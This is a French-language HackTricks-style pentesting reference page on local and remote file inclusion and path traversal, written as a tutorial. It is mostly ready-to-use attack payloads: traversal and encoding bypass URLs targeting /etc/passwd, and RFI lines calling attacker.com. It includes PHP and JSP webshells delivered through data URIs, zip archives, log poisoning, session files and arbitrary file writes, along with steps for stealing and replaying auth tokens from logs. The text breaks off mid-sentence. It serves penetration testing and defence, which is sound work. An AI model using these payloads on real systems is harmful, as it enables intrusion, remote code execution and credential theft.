File Inclusion/Path traversal

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

File Inclusion

Remote File Inclusion (RFI): Le fichier est chargé depuis un serveur distant (Au mieux : vous pouvez écrire le code et le serveur l’exécutera). En php ceci est désactivé par défaut (allow_url_include).
Local File Inclusion (LFI): Le serveur charge un fichier local.

La vulnérabilité survient lorsque l’utilisateur peut d’une manière ou d’une autre contrôler le fichier que le serveur va charger.

Fonctions PHP vulnérables : require, require_once, include, include_once

Un outil intéressant pour exploiter cette vulnérabilité : https://github.com/kurobeats/fimap

Blind - Interesting - LFI2RCE files

wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ

Linux

En mélangeant plusieurs listes *nix LFI et en ajoutant d’autres chemins, j’ai créé celle-ci :

Auto_Wordlists/wordlists/file_inclusion_linux.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Essayez aussi de remplacer / par \
Essayez aussi d’ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /etc/password (pour vérifier si la vulnérabilité existe) se trouve ici

Windows

Fusion de différentes wordlists :

Auto_Wordlists/wordlists/file_inclusion_windows.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Essayez aussi de remplacer / par \
Essayez aussi de supprimer C:/ et d’ajouter ../../../../../

Une liste qui utilise plusieurs techniques pour trouver le fichier /boot.ini (pour vérifier si la vulnérabilité existe) se trouve ici

OS X

Consultez la liste LFI de linux.

LFI de base et contournements

Tous les exemples concernent Local File Inclusion mais peuvent aussi s’appliquer à Remote File Inclusion (page=http://myserver.com/phpshellcode.txt\.

http://example.com/index.php?page=../../../etc/passwd

traversal sequences supprimées de façon non récursive

http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd

Null byte (%00)

Contourner l’ajout de caractères supplémentaires à la fin de la chaîne fournie (bypass de : $_GET[‘param’].“php”)

http://example.com/index.php?page=../../../etc/passwd%00

Ceci est résolu depuis PHP 5.4

Encodage

Vous pouvez utiliser des encodages non standard comme double URL encode (et d’autres) :

http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00

HTML-to-PDF SVG/IMG path traversal

Les moteurs HTML-to-PDF modernes (p. ex. TCPDF ou des wrappers tels que html2pdf) analysent sans problème du HTML, SVG, CSS, et des URLs de polices fournis par un attaquant, tout en s’exécutant dans des réseaux backend de confiance avec accès au système de fichiers. Une fois que vous pouvez injecter du HTML dans $pdf->writeHTML()/Html2Pdf::writeHTML(), vous pouvez souvent exfiltrer des fichiers locaux que le compte du serveur web peut lire.

  • Fingerprint the renderer: chaque PDF généré contient un champ Producer (p. ex. TCPDF 6.8.2). Connaître la build exacte vous indique quels filtres de chemin existent et si le décodage d’URL a lieu avant la validation.
  • Inline SVG payloads: TCPDF::startSVGElementHandler() lit l’attribut xlink:href des éléments <image> avant d’exécuter urldecode(). Intégrer un SVG malveillant dans un data URI fait que de nombreux sanitizeurs HTML ignorent la charge utile tandis que TCPDF l’analyse toujours :
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />

TCPDF préfixe $_SERVER['DOCUMENT_ROOT'] aux chemins commençant par / et ne résout .. qu’ensuite, donc utilisez soit des segments initiaux ../../.. soit /../../.. pour sortir de la racine après le préfixe.

  • Encodage pour contourner des filtres naïfs: Versions ≤6.8.2 ne vérifient que la sous-chaîne littérale ../ avant de décoder l’URL. Envoyer ..%2f (ou ..%2F) dans le SVG ou dans un attribut <img src> brut contourne la vérification, car la séquence de traversée ../ n’est recréée qu’après que TCPDF appelle urldecode().
  • Double-encodage pour décodage en plusieurs étapes: Si la saisie utilisateur est décodée par le web framework et par TCPDF, double-encodez le slash (%252f). Un décodage le transforme en %2f, le second décodage dans TCPDF le transforme en /, donnant /..%252f../../../../… sans jamais montrer ../ au filtre précoce.
  • Gestionnaire HTML <img>: TCPDF::openHTMLTagHandler() contient le même bug d’ordre d’opérations, permettant des payloads HTML directs tels que src="%2f..%252f..%252ftmp%252fsecret.png" pour lire n’importe quelle bitmap localement accessible.

Cette technique leaks anything readable by the PDF worker (scans de passeport, API keys rendered as images, etc.). Les hardeners ont corrigé cela dans la 6.9.1 en canonicalisant les chemins (isRelativePath()), donc lors des tests privilégiez les versions plus anciennes de Producer.

Depuis un dossier existant

Peut-être que le back-end vérifie le chemin du dossier :

http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd

Explorer les répertoires du système de fichiers d’un serveur

Le système de fichiers d’un serveur peut être exploré de manière récursive pour identifier des répertoires, pas seulement des fichiers, en employant certaines techniques. Ce processus implique de déterminer la profondeur des répertoires et de sonder l’existence de dossiers spécifiques. Voici une méthode détaillée pour y parvenir :

  1. Déterminer la profondeur des répertoires : Déterminez la profondeur de votre répertoire courant en récupérant avec succès le fichier /etc/passwd (applicable si le serveur est basé sur Linux). Un exemple d’URL pourrait être structuré comme suit, indiquant une profondeur de trois :
http://example.com/index.php?page=../../../etc/passwd # depth of 3
  1. Sonder les dossiers : Ajoutez le nom du dossier suspect (par ex., private) à l’URL, puis revenez à /etc/passwd. Le niveau de répertoire supplémentaire nécessite d’incrémenter la profondeur d’un niveau :
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
  1. Interpréter les résultats : La réponse du serveur indique si le dossier existe :
  • Erreur / Pas de sortie : Le dossier private n’existe probablement pas à l’emplacement spécifié.
  • Contenu de /etc/passwd : La présence du dossier private est confirmée.
  1. Exploration récursive : Les dossiers découverts peuvent être explorés plus avant pour détecter des sous-répertoires ou des fichiers en utilisant la même technique ou les méthodes traditionnelles Local File Inclusion (LFI).

Pour explorer des répertoires à d’autres emplacements du système de fichiers, ajustez le payload en conséquence. Par exemple, pour vérifier si /var/www/ contient un répertoire private (en supposant que le répertoire courant est à une profondeur de 3), utilisez :

http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd

Path Truncation Technique

Path truncation is une méthode employée pour manipuler les chemins de fichiers dans les applications web. Elle est souvent utilisée pour accéder à des fichiers restreints en contournant certaines mesures de sécurité qui ajoutent des caractères supplémentaires à la fin des chemins. L’objectif est de construire un chemin de fichier qui, une fois modifié par la mesure de sécurité, pointe toujours vers le fichier souhaité.

En PHP, différentes représentations d’un chemin de fichier peuvent être considérées comme équivalentes en raison de la nature du système de fichiers. Par exemple :

  • /etc/passwd, /etc//passwd, /etc/./passwd, et /etc/passwd/ sont tous traités comme le même chemin.
  • Lorsque les 6 derniers caractères sont passwd, ajouter un / (produisant passwd/) ne change pas le fichier ciblé.
  • De même, si .php est ajouté à un chemin de fichier (par exemple shellcode.php), ajouter /. à la fin n’altérera pas le fichier accédé.

Les exemples fournis montrent comment utiliser path truncation pour accéder à /etc/passwd, une cible courante en raison de son contenu sensible (informations sur les comptes utilisateurs) :

http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd

Dans ces scénarios, le nombre de séquences ../ nécessaires peut être d’environ 2027, mais ce nombre peut varier selon la configuration du serveur.

  • Using Dot Segments and Additional Characters: Les séquences ../ combinées à des segments de points supplémentaires et à d’autres caractères peuvent être utilisées pour naviguer dans le système de fichiers, neutralisant effectivement les chaînes ajoutées par le serveur.
  • Determining the Required Number of Traversals: Par essais et erreurs, on peut trouver le nombre précis de séquences ../ nécessaire pour atteindre la racine puis /etc/passwd, en s’assurant que toutes les chaînes ajoutées (comme .php) sont neutralisées mais que le chemin désiré (/etc/passwd) reste intact.
  • Starting with a Fake Directory: Il est courant de commencer le chemin par un répertoire inexistant (comme a/). Cette technique sert de précaution ou pour satisfaire les exigences de la logique d’analyse des chemins du serveur.

Lors de l’utilisation de techniques de troncature de chemin, il est crucial de comprendre le comportement d’analyse des chemins du serveur et la structure du système de fichiers. Chaque scénario peut nécessiter une approche différente, et des tests sont souvent nécessaires pour trouver la méthode la plus efficace.

Cette vulnérabilité a été corrigée dans PHP 5.3.

Filter bypass tricks

http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
http://example.com/index.php?page=PhP://filter

Remote File Inclusion

Dans php ceci est désactivé par défaut car allow_url_include est Off. Il faut qu’il soit On pour que cela fonctionne, et dans ce cas vous pourriez inclure un fichier PHP depuis votre serveur et obtenir RCE:

http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php

Si, pour une raison quelconque, allow_url_include est On, mais que PHP filtre l’accès aux pages web externes, d’après cet article, vous pouvez par exemple utiliser le protocole data avec base64 pour décoder un code PHP b64 et obtenir RCE :

PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt

Répertoire .git exposé (Source Disclosure)

Si le serveur web expose /.git/, un attaquant peut souvent reconstruire l’intégralité du dépôt (y compris l’historique des commits) et auditer l’application hors ligne. Cela révèle souvent des endpoints cachés, des secrets, des requêtes SQL et des fonctionnalités réservées aux administrateurs.

Quick checks:

curl -s -i http://TARGET/.git/HEAD
curl -s -i http://TARGET/.git/config

Extraire le dépôt avec git-dumper:

uv tool install git-dumper
git-dumper http://TARGET/.git/ out/

Ensuite, récupérez l’arbre de travail :

cd out
git checkout .

Tip

Dans le code précédent, le +.txt final a été ajouté parce que l’attaquant avait besoin d’une chaîne se terminant par .txt, donc la chaîne se termine par cela et après le b64 decode cette partie ne renverra que des données inutiles et le vrai code PHP sera inclus (et donc exécuté).

Un autre exemple n’utilisant pas le protocole php:// serait :

data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt

Élément racine en Python

En Python, dans un code comme celui-ci :

# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)

Si l’utilisateur passe un absolute path à file_name, le chemin précédent est simplement supprimé :

os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'

C’est le comportement attendu selon the docs:

Si un composant est un chemin absolu, tous les composants précédents sont rejetés et la concaténation continue à partir du composant de chemin absolu.

Java : lister les répertoires

Il semble que si vous avez un Path Traversal en Java et que vous demandez un répertoire plutôt qu’un fichier, un listing du répertoire est renvoyé. Cela ne se produit pas dans d’autres langages (à ma connaissance).

Top 25 paramètres

Voici la liste des 25 paramètres les plus courants qui pourraient être vulnérables à local file inclusion (LFI) (d’après link):

?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}

LFI / RFI en utilisant les wrappers & protocoles PHP

php://filter

Les filtres PHP permettent d’effectuer des opérations de modification sur les données avant qu’elles ne soient lues ou écrites. Il existe 5 catégories de filtres :

  • String Filters :
  • string.rot13
  • string.toupper
  • string.tolower
  • string.strip_tags : Supprime les balises des données (tout ce qui se trouve entre les caractères “<” et “>”)
  • Notez que ce filtre a disparu des versions récentes de PHP
  • Conversion Filters
  • convert.base64-encode
  • convert.base64-decode
  • convert.quoted-printable-encode
  • convert.quoted-printable-decode
  • convert.iconv.* : Transforme vers un encodage différent (convert.iconv.<input_enc>.<output_enc>). Pour obtenir la liste de tous les encodages supportés, exécutez en console : iconv -l

Warning

En abusant du filtre de conversion convert.iconv.*, vous pouvez générer du texte arbitraire, ce qui peut être utile pour écrire du texte arbitraire ou faire en sorte qu’une fonction comme include traite du texte arbitraire. Pour plus d’infos, voir LFI2RCE via php filters.

  • Compression Filters
  • zlib.deflate : Compresse le contenu (utile si vous exfiltrez beaucoup d’infos)
  • zlib.inflate : Décompresse les données
  • Encryption Filters
  • mcrypt.* : Obsolète
  • mdecrypt.* : Obsolète
  • Other Filters
  • En exécutant dans PHP var_dump(stream_get_filters());, vous pouvez trouver quelques filtres inattendus :
  • consumed
  • dechunk : inverse l’encodage chunked HTTP
  • convert.*
# String Filters
## Chain string.toupper, string.rot13 and string.tolower reading /etc/passwd
echo file_get_contents("php://filter/read=string.toupper|string.rot13|string.tolower/resource=file:///etc/passwd");
## Same chain without the "|" char
echo file_get_contents("php://filter/string.toupper/string.rot13/string.tolower/resource=file:///etc/passwd");
## string.string_tags example
echo file_get_contents("php://filter/string.strip_tags/resource=data://text/plain,<b>Bold</b><?php php code; ?>lalalala");

# Conversion filter
## B64 decode
echo file_get_contents("php://filter/convert.base64-decode/resource=data://plain/text,aGVsbG8=");
## Chain B64 encode and decode
echo file_get_contents("php://filter/convert.base64-encode|convert.base64-decode/resource=file:///etc/passwd");
## convert.quoted-printable-encode example
echo file_get_contents("php://filter/convert.quoted-printable-encode/resource=data://plain/text,£hellooo=");
=C2=A3hellooo=3D
## convert.iconv.utf-8.utf-16le
echo file_get_contents("php://filter/convert.iconv.utf-8.utf-16le/resource=data://plain/text,trololohellooo=");

# Compresion Filter
## Compress + B64
echo file_get_contents("php://filter/zlib.deflate/convert.base64-encode/resource=file:///etc/passwd");
readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the data locally
# note that PHP protocol is case-inselective (that's mean you can use "PhP://" and any other varient)

Warning

La partie “php://filter” n’est pas sensible à la casse

Utiliser php filters comme oracle pour lire des fichiers arbitraires

In this post est proposée une technique pour lire un fichier local sans que la sortie soit renvoyée par le serveur. Cette technique repose sur une boolean exfiltration of the file (char by char) using php filters comme oracle. En effet, php filters peuvent être utilisés pour augmenter la taille d’un texte suffisamment pour provoquer une exception php.

Dans le post original vous trouverez une explication détaillée de la technique, mais voici un résumé rapide :

  • Utiliser le codec UCS-4LE pour laisser le caractère initial du texte au début et faire augmenter la taille de la chaîne de manière exponentielle.
  • Cela permettra de générer un texte tellement gros lorsque la lettre initiale est devinée correctement que php déclenchera une erreur
  • Le filtre dechunk va tout supprimer si le premier char n’est pas un hexadecimal, donc on peut savoir si le premier char est hex.
  • Cela, combiné avec le précédent (et d’autres filters selon la lettre devinée), nous permettra de deviner une lettre au début du texte en regardant quand nous faisons assez de transformations pour qu’elle ne soit plus un caractère hexadecimal. Car si elle est hex, dechunk ne la supprimera pas et la bombe initiale provoquera une erreur php.
  • Le codec convert.iconv.UNICODE.CP930 transforme chaque lettre en la suivante (donc après ce codec : a -> b). Cela nous permet de découvrir si la première lettre est un a par exemple car si on applique 6 fois ce codec a->b->c->d->e->f->g la lettre n’est plus un caractère hexadecimal, donc dechunk ne la supprime pas et l’erreur php est déclenchée parce qu’elle se multiplie avec la bombe initiale.
  • En utilisant d’autres transformations comme rot13 au début, il est possible de leak d’autres chars comme n, o, p, q, r (et d’autres codecs peuvent être utilisés pour déplacer d’autres lettres dans la plage hex).
  • Quand le char initial est un nombre, il faut le base64 encoder et leak les 2 premières lettres pour leak le nombre.
  • Le problème final est de voir comment leak plus que la lettre initiale. En utilisant des filters d’ordre mémoire comme convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE il est possible de changer l’ordre des chars et de mettre en première position d’autres lettres du texte.
  • Et afin de pouvoir obtenir des further data l’idée est de générer 2 bytes de junk data au début avec convert.iconv.UTF16.UTF16, appliquer UCS-4LE pour le faire pivot avec les 2 bytes suivants, et supprimer les données jusqu’aux junk data (cela supprimera les 2 premiers bytes du texte initial). Continuer ainsi jusqu’à atteindre le bit désiré à leak.

Dans le post un outil pour effectuer cela automatiquement was also leaked : php_filters_chain_oracle_exploit.

php://fd

Ce wrapper permet d’accéder aux descripteurs de fichiers que le processus a ouverts. Potentiellement utile pour exfiltrer le contenu des fichiers ouverts:

echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");

Vous pouvez aussi utiliser php://stdin, php://stdout et php://stderr pour accéder aux descripteurs de fichiers 0, 1 et 2 respectivement (je ne vois pas vraiment comment cela pourrait être utile dans une attaque)

zip:// et rar://

Téléversez un fichier Zip ou Rar contenant un PHPShell et accédez-y.
Pour pouvoir abuser du protocole rar, il doit être activé spécifiquement.

echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php

# To compress with rar
rar a payload.rar payload.php;
mv payload.rar shell.jpg;
rm payload.php
http://example.com/index.php?page=rar://shell.jpg%23payload.php

data://

http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
http://example.net/?page=data:text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data:text/plain,<?php phpinfo(); ?>
http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"

Notez que ce protocole est restreint par les configurations php allow_url_open et allow_url_include

expect://

Expect doit être activé. Vous pouvez exécuter du code en utilisant ceci :

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

input://

Spécifiez votre payload dans les paramètres POST :

curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"

phar://

Un fichier .phar peut être utilisé pour exécuter du code PHP lorsqu’une application web utilise des fonctions telles que include pour charger des fichiers. L’extrait de code PHP ci-dessous montre la création d’un fichier .phar :

<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');
$phar->stopBuffering();

Pour compiler le fichier .phar, la commande suivante doit être exécutée :

php --define phar.readonly=0 create_path.php

Lors de l’exécution, un fichier nommé test.phar sera créé, qui pourrait potentiellement être exploité pour des vulnérabilités Local File Inclusion (LFI).

Dans les cas où le LFI se limite à la lecture de fichiers sans exécuter le code PHP contenu, via des fonctions telles que file_get_contents(), fopen(), file(), file_exists(), md5_file(), filemtime(), ou filesize(), il est possible de tenter l’exploitation d’une deserialization vulnerability. Cette vulnérabilité est liée à la lecture de fichiers utilisant le protocole phar.

For a detailed understanding of exploiting deserialization vulnerabilities in the context of .phar files, refer to the document linked below:

Phar Deserialization Exploitation Guide

phar:// deserialization

CVE-2024-2961

Il était possible d’abuser de any arbitrary file read from PHP that supports php filters pour obtenir un RCE. La description détaillée peut être found in this post.
Très bref résumé : un 3 byte overflow dans le PHP heap a été abusé pour alter the chain of free chunks d’une taille spécifique afin de pouvoir write anything in any address, ainsi un hook a été ajouté pour appeler system.
Il a été possible d’alloc chunks de tailles spécifiques en abusant davantage des php filters.

More protocols

Check more possible protocols to include here:

  • php://memory and php://temp — écrire en mémoire ou dans un fichier temporaire (pas sûr de l’utilité dans une attaque d’inclusion de fichier)
  • file:// — accès au système de fichiers local
  • http:// — accès aux URL HTTP(s)
  • ftp:// — accès aux URL FTP(s)
  • zlib:// — Streams de compression
  • glob:// — trouve les chemins correspondant à un motif (ne renvoie rien d’imprimable, donc pas vraiment utile ici)
  • ssh2:// — Secure Shell 2
  • ogg:// — flux audio (inutile pour lire des fichiers arbitraires)

LFI via PHP’s ‘assert’

Les risques de Local File Inclusion (LFI) en PHP sont particulièrement élevés lorsque la fonction ‘assert’ est utilisée, car elle peut exécuter du code présent dans des chaînes. C’est particulièrement problématique si une entrée contenant des caractères de directory traversal comme “..” est vérifiée mais pas correctement assainie.

Par exemple, du code PHP pourrait être conçu pour empêcher le directory traversal comme suit :

assert("strpos('$file', '..') === false") or die("");

Bien que cela vise à empêcher la traversal, cela crée involontairement un vecteur pour code injection. Pour exploiter cela afin de lire le contenu d’un fichier, un attaquant pourrait utiliser :

' and die(highlight_file('/etc/passwd')) or '

De même, pour exécuter des commandes système arbitraires, on peut utiliser :

' and die(system("id")) or '

Il est important d’URL-encode ces payloads.

PHP Blind Path Traversal

Warning

Cette technique est pertinente dans les cas où vous contrôlez le file path d’une PHP function qui va access a file mais vous ne verrez pas le contenu du fichier (comme un simple appel à file()) car le contenu n’est pas affiché.

Dans cet article incroyable il est expliqué comment un blind path traversal peut être abusé via PHP filter pour exfiltrate the content of a file via an error oracle.

En résumé, la technique utilise l’encodage “UCS-4LE” pour rendre le contenu d’un fichier tellement gros que la PHP function qui ouvre le fichier déclenchera une erreur.

Ensuite, pour leak the first char le filter dechunk est utilisé avec d’autres comme base64 ou rot13, et enfin les filters convert.iconv.UCS-4.UCS-4LE et convert.iconv.UTF16.UTF-16BE sont utilisés pour placer d’autres chars au début et les leak.

Functions that might be vulnerable: file_get_contents, readfile, finfo->file, getimagesize, md5_file, sha1_file, hash_file, file, parse_ini_file, copy, file_put_contents (only target read only with this), stream_get_contents, fgets, fread, fgetc, fgetcsv, fpassthru, fputs

Pour les détails techniques, consultez l’article mentionné !

LFI2RCE

Arbitrary File Write via Path Traversal (Webshell RCE)

Quand du code côté serveur qui ingère/uploade des fichiers construit le chemin de destination en utilisant des données contrôlées par l’utilisateur (par exemple un filename ou URL) sans canonicaliser ni valider, des segments .. et des chemins absolus peuvent sortir du répertoire prévu et provoquer un arbitrary file write. Si vous pouvez placer le payload dans un répertoire exposé sur le web, vous obtenez généralement une RCE non authentifiée en déposant un webshell.

Typical exploitation workflow:

  • Identifiez une primitive d’écriture dans un endpoint ou un background worker qui accepte un path/filename et écrit du contenu sur le disque (par ex., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.).
  • Déterminez les répertoires exposés web. Exemples courants :
  • Apache/PHP: /var/www/html/
  • Tomcat/Jetty: <tomcat>/webapps/ROOT/ → drop shell.jsp
  • IIS: C:\inetpub\wwwroot\ → drop shell.aspx
  • Créez un traversal path qui sort du répertoire de stockage prévu vers le webroot, et incluez le contenu de votre webshell.
  • Accédez au payload déposé et exécutez des commandes.

Notes:

  • Le service vulnérable qui effectue l’écriture peut écouter sur un port non-HTTP (par ex., un JMF XML listener sur TCP 4004). Le portail web principal (port différent) servira ensuite votre payload.
  • Sur les stacks Java, ces file writes sont souvent implémentés par une concaténation simple File/Paths. L’absence de canonicalisation/allow-listing est la faille principale.

Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):

<?xml version="1.0" encoding="UTF-8"?>
<JMF SenderID="hacktricks" Version="1.3">
<Command Type="SubmitQueueEntry">
<!-- Write outside the intake folder into the webroot via traversal -->
<Resource Name="FileName">../../../webapps/ROOT/shell.jsp</Resource>
<Data>
<![CDATA[
<%@ page import="java.io.*" %>
<%
String c = request.getParameter("cmd");
if (c != null) {
Process p = Runtime.getRuntime().exec(c);
try (var in = p.getInputStream(); var out = response.getOutputStream()) {
in.transferTo(out);
}
}
%>
]]>
</Data>
</Command>
</JMF>

Hardening that defeats this class of bugs:

  • Résoudre vers un chemin canonique et vérifier qu’il est un descendant d’un répertoire de base allow-listé.
  • Rejeter tout chemin contenant .., des racines absolues, ou des drive letters ; préférer des noms de fichiers générés.
  • Exécuter le writer avec un compte à faibles privilèges et séparer les répertoires d’écriture des racines servies.

Remote File Inclusion

Explained previously, suivez ce lien.

Via Apache/Nginx log file

Si le serveur Apache ou Nginx est vulnérable à LFI dans la fonction include, vous pouvez essayer d’accéder à /var/log/apache2/access.log or /var/log/nginx/access.log, placer dans le user agent ou dans un GET parameter un php shell comme <?php system($_GET['c']); ?> et inclure ce fichier

Warning

Notez que si vous utilisez des double quotes pour le shell au lieu de simple quotes, les double quotes seront modifiées pour la chaîne “quote;”, PHP lèvera une erreur à cet endroit et rien d’autre ne sera exécuté.

De plus, assurez-vous d’écrire correctement le payload sinon PHP générera une erreur à chaque tentative de chargement du fichier de log et vous n’aurez pas de seconde chance.

This could also be done in other logs but be careful, the code inside the logs could be URL encoded and this could destroy the Shell. The header authorisation “basic” contains “user:password” in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.
Other possible log paths:

/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

Lire les access logs pour récupérer GET-based auth tokens (token replay)

Beaucoup d’apps acceptent par erreur des session/auth tokens via GET (par ex., AuthenticationToken, token, sid). Si vous disposez d’un primitive path traversal/LFI vers les web server access logs, vous pouvez voler ces tokens depuis les access logs et les replay pour bypasser complètement l’authentification.

How-to:

  • Utilisez le path traversal/LFI pour lire l’access log du web server. Emplacements courants :
  • /var/log/apache2/access.log, /var/log/httpd/access_log
  • /var/log/nginx/access.log
  • Some endpoints return file reads Base64-encoded. If so, decode locally and inspect the log lines.
  • Grep for GET requests that include a token parameter and capture its value, then replay it against the application entry point.

Example flow (generic):

GET /vuln/asset?name=..%2f..%2f..%2f..%2fvar%2flog%2fapache2%2faccess.log HTTP/1.1
Host: target

Décoder le corps s’il est en Base64, puis rejouer un token capturé :

GET /portalhome/?AuthenticationToken=<stolen_token> HTTP/1.1
Host: target

Remarques :

  • Tokens in URLs are logged by default ; n’acceptez jamais de bearer tokens via GET sur des systèmes de production.
  • Si l’app supporte plusieurs token names, recherchez des clés courantes comme AuthenticationToken, token, sid, access_token.
  • Rotate tout token qui may have leaked to logs.

Par e-mail

Envoyez un mail à un compte interne (user@localhost) contenant votre payload PHP comme <?php echo system($_REQUEST["cmd"]); ?> et essayez d’inclure le mail de l’utilisateur avec un chemin comme /var/mail/<USERNAME> ou /var/spool/mail/<USERNAME>

Via /proc//fd/

  1. Upload a lot of shells (for example : 100)
  2. Include http://example.com/index.php?page=/proc/$PID/fd/$FD, with $PID = PID of the process (can be brute forced) and $FD the file descriptor (can be brute forced too)

Via /proc/self/environ

Comme un fichier de log, envoyez le payload dans le User-Agent, il sera reflété à l’intérieur du fichier /proc/self/environ

GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>

Via upload

Si vous pouvez upload un fichier, injectez simplement le shell payload dedans (ex : <?php system($_GET['c']); ?>).

http://example.com/index.php?page=path/to/uploaded/file.png

Pour que le fichier reste lisible, il est préférable d’injecter dans les métadonnées des images/doc/pdf

Via Zip file upload

Upload un ZIP contenant un PHP shell compressé et accédez :

example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php

Via PHP sessions

Vérifiez si le site web utilise PHP Session (PHPSESSID)

Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly

Dans PHP, ces sessions sont stockées dans /var/lib/php5/sess\[PHPSESSID]_ fichiers

/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";

Définissez le cookie sur <?php system('cat /etc/passwd');?>

login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php

Utilisez la LFI pour inclure le fichier de session PHP

login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2

Via ssh

Si ssh est actif, vérifiez quel utilisateur est utilisé (/proc/self/status & /etc/passwd) et essayez d’accéder à <HOME>/.ssh/id_rsa

Via vsftpd logs

Les logs du serveur FTP vsftpd se trouvent dans /var/log/vsftpd.log. Dans le cas où une vulnérabilité Local File Inclusion (LFI) existe, et qu’il est possible d’accéder à un serveur vsftpd exposé, les étapes suivantes peuvent être envisagées :

  1. Injectez un payload PHP dans le champ username lors du processus de connexion.
  2. Après l’injection, utilisez le LFI pour récupérer les logs du serveur depuis /var/log/vsftpd.log.

Via php base64 filter (using base64)

Comme montré dans this article, le filtre PHP base64 ignore simplement les caractères non-base64. Vous pouvez l’utiliser pour bypasser la vérification de l’extension de fichier : si vous fournissez un base64 qui se termine par “.php”, il va simplement ignorer le “.” et ajouter “php” au base64. Voici un exemple de payload:

